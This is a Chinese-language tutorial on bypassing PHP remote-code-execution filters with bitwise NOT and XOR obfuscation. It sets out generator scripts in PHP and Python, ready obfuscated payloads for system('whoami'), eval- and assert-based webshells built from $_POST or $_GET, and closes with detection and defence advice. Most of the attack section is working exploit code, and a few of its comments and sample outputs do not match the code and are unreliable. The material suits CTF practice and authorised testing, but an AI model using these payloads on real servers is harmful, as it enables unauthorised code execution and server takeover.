RCE绕过技术:取反与异或的深入解析与实践
RCE绕过技术:取反与异或的深入解析与实践
1 RCE与绕过技术概述
RCE(Remote Code Execution,远程代码执行)漏洞是Web安全领域中一种高危漏洞,攻击者利用此漏洞可以在目标服务器上执行任意操作系统命令或代码,从而获取系统控制权。在实际环境中,开发人员和安全设备通常会部署各种过滤机制来阻止恶意代码执行,如过滤特殊字符、关键字黑名单等。因此,安全研究人员和渗透测试人员需要掌握各种绕过技术,取反和异或便是其中两种有效且常见的字符混淆技术。
当防御方过滤了所有字母和数字时,传统的Payload构造方法便会失效。此时,通过利用PHP及其他语言中字符串操作的特性,我们可以通过取反(~
)和异或(^
)等位运算操作,将允许使用的特殊字符组合成所需的函数名和命令,从而成功执行代码。
2 取反绕过技术
2.1 基本原理
取反绕过利用了字符编码的特性。在PHP中,取反运算符~
会对值的每一位进行取反操作(即0变为1,1变为0)。当我们对字符串进行取反时,实际上是对每个字符的ASCII码进行二进制取反。
例如,字符a
的ASCII码是97,二进制为01100001
,取反后为10011110
,对应的十进制是158。但更重要的是,对取反后的值再次取反,便会得到原始字符。因此,如果我们能通过某种方式表示取反后的字符串,并让目标系统对其再次取反,就能还原出我们想要的代码字符串。
2.2 利用方法
在PHP中,我们可以这样构造取反Payload:
<?php
// 原始命令:phpinfo()
$payload = "phpinfo";
$encoded = "";
for($i = 0; $i < strlen($payload); $i++){$encoded .= "%" . bin2hex(~$payload[$i]);
}
echo $encoded; // 输出:%8F%97%8F%96%91%99%90
?>
生成的Payload为:(~%8F%97%8F%96%91%99%90)();
,这相当于执行了phpinfo()
。
2.3 实用技巧
-
处理参数:如果需要传递参数,可以分别对函数名和参数取反:
<?php // 执行system('whoami') $function = "system"; $command = "whoami";$encoded_func = ""; for($i = 0; $i < strlen($function); $i++){$encoded_func .= "%" . bin2hex(~$function[$i]); }$encoded_cmd = ""; for($i = 0; $i < strlen($command); $i++){$encoded_cmd .= "%" . bin2hex(~$command[$i]); }// 生成Payload: (~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96); ?>
-
结合eval使用:对于更复杂的代码,可以构造取反后的字符串并由eval执行:
<?php // 取反编码assert(eval($_POST[cmd])) $code = "assert(eval($_POST[cmd]))"; $encoded = ""; for($i = 0; $i < strlen($code); $i++){$encoded .= "%" . bin2hex(~$code[$i]); } echo "(~" . $encoded . ");"; // 可直接执行 ?>
2.4 注意事项
- URL解码:注意Payload在传输过程中会进行URL解码。服务端通常会对接收到的数据进行URL解码,因此我们传递的
%8F
等会被解码为实际的字节。 - 符号过滤:确保目标系统不会过滤取反运算符
~
和括号等必要符号。 - PHP版本适配:此方法在PHP 5和PHP 7.0.9以下版本中测试有效,但在更高版本中可能因语言特性变化而需调整。
3 异或绕过技术
3.1 基本原理
异或绕过利用了异或运算符^
的特性。在PHP中,两个字符串进行异或操作时,会对每个字符的ASCII码进行二进制异或运算(相同为0,不同为1)。通过精心选择两个特殊字符集,异或运算后可以产生我们所需的字母和数字。
异或运算规则:
1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0
例如,字符?
(ASCII 63, 二进制00111111
)与字符~
(ASCII 126, 二进制01111110
)进行异或:
0011 1111 (?)
^ 0111 1110 (~)
-----------0100 0001 (A) // 结果为65,对应字符'A'
3.2 利用方法
利用异或绕过的关键是找到两串特殊字符,它们异或后能得到我们想要的函数名或命令。
以下是一个自动生成异或Payload的Python脚本:
# -*- coding: utf-8 -*-
# 异或绕过Payload生成脚本def generate_xor_payload(target_string):"""生成异或Payload:param target_string: 目标字符串(如"assert"):return: 异或表达式"""# 可用字符集(通常是非字母数字的特殊字符)valid_chars = [c for c in range(0, 256) if not chr(c).isalnum()]result1 = ""result2 = ""for char in target_string:found = Falsefor i in valid_chars:for j in valid_chars:if i ^ j == ord(char):result1 += f"%{i:02x}"result2 += f"%{j:02x}"found = Truebreakif found:breakif not found:print(f"无法生成字符: {char}")return Nonereturn f"('{result1}'^'{result2}')"# 示例:生成assert的异或表达式
payload = generate_xor_payload("assert")
print(payload) # 输出类似:('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c')
3.3 高级应用
-
构造$_POST引用:通过异或构造
_POST
超全局变量,从而从POST请求中获取数据:<?php // 构造_GET $__ = ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__ = "_POST" $___ = $$__; // $___ = $_POST $_($___[_]); // assert($_POST[_]) ?>
-
短Payload技术:当遇到长度限制时,可以使用变量传递和短数组表示法:
<?php // 短Payload示例 ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]); // 相当于:$_GET[_]($_GET[__]) // 使用:&_=assert&__=eval($_POST[cmd]) ?>
3.4 注意事项
- 字符集选择:选择合适的特殊字符集很重要,避免使用可能被过滤的字符。
- 长度限制:异或生成的Payload可能较长,需注意目标系统的长度限制。
- 变量命名:使用非常规变量名(如
$_
、$__
)可以避免使用常规变量名被过滤。
4 取反与异或的对比
为了更直观地比较这两种技术,以下是它们的主要特点对比表:
特性 | 取反绕过 | 异或绕过 |
---|---|---|
基本原理 | 对字符的ASCII码进行按位取反 | 两个字符的ASCII码进行按位异或 |
运算符 | ~ | ^ |
Payload长度 | 相对较短 | 相对较长 |
可读性 | 较差(全是URL编码) | 较差(特殊字符组合) |
适用场景 | 过滤字母数字但允许~ | 过滤字母数字但允许^ |
复杂度 | 简单直接 | 需要找到合适的字符对 |
PHP版本支持 | PHP 5, PHP 7+ | PHP 5, PHP 7+ |
5 检测与防御措施
5.1 检测方法
- 静态分析:检查代码中是否包含大量的异或、取反操作以及可疑变量名。
- 动态监控:监控系统执行过程,检测异常的函数调用和参数传递。
- 日志分析:分析Web服务器日志,寻找包含大量特殊字符和URL编码的请求。
5.2 防御措施
- 输入验证:实施严格的输入验证和白名单机制,只允许预期的字符和模式。
- 多层次过滤:采用多层次的过滤机制,包括WAF、应用层过滤和服务器层过滤。
- 禁用危险函数:在PHP配置中禁用危险的函数如
eval()
、assert()
、system()
等。 - 定期更新:及时更新系统和应用程序的补丁,修复已知的安全漏洞。
- 权限限制:运行Web服务的用户应具有最小必要权限,限制其对系统资源的访问。
6 总结
取反和异或是绕过RCE过滤的有效技术,它们在CTF比赛和实际渗透测试中都有广泛应用。理解这些技术的原理和实现方法,有助于安全研究人员更好地测试系统安全性,同时也帮助开发人员构建更强大的防御机制。
需要注意的是,这些技术应当仅用于合法授权的安全测试和教育目的。在实际防御中,应采取多层次的安全策略,包括输入验证、输出编码、最小权限原则等,而不仅仅依赖单一的黑名单或过滤机制。
随着PHP语言的演进和安全防护技术的提升,这些绕过技术可能会失效或需要调整。安全是一个持续的过程,需要不断学习、研究新的攻击和防御技术。